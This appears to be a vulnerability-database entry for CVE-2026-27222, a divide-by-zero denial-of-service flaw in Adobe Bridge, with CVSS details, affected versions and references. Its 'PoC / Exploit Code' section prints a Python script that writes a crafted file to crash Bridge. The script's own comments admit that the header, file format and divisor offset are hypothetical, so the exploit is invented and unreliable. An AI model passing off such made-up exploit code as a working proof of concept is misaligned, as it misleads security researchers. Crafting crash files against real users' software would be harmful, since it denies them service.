CVE-2026-27222

Description

Bridge versions 16.0.2, 15.1.4 and earlier are affected by a Divide By Zero vulnerability that could lead to application denial-of-service. An attacker could exploit this vulnerability to crash the application or render it unresponsive. Exploitation of this issue requires user interaction in that a victim must open a malicious file.

CVSS Details

CVSS Score

5.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:adobe:bridge:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE

Adobe Bridge <= 16.0.2

Adobe Bridge <= 15.1.4

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# PoC for CVE-2026-27222 (Adobe Bridge Divide By Zero)
# This script generates a malformed file to trigger the crash.
# Note: The specific file format and bytes are hypothetical based on the vulnerability type.

import struct

def generate_malicious_file(filename):
    # Simulating a file header that Adobe Bridge parses
    # Assuming a specific field at offset 0x10 is used as a divisor
    header = b'MAGIC_HEADER' + b'\x00' * 8
    
    # Malicious payload: Setting the divisor to 0x00000000
    # Offset 0x10 (hypothetical)
    malicious_divisor = struct.pack('<I', 0) 
    rest_of_file = b'\x00' * 100
    
    with open(filename, 'wb') as f:
        f.write(header)
        f.write(malicious_divisor)
        f.write(rest_of_file)
    
    print(f"Malicious file generated: {filename}")
    print("Open this file in Adobe Bridge <= 16.0.2 to reproduce the DoS.")

if __name__ == "__main__":
    generate_malicious_file("crash_test_file")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-27222
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-27222
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-27222/
[4] VulDB https://vuldb.com/cve/CVE-2026-27222
[5] https://helpx.adobe.com/security/products/bridge/apsb26-39.html

Raw JSON Data

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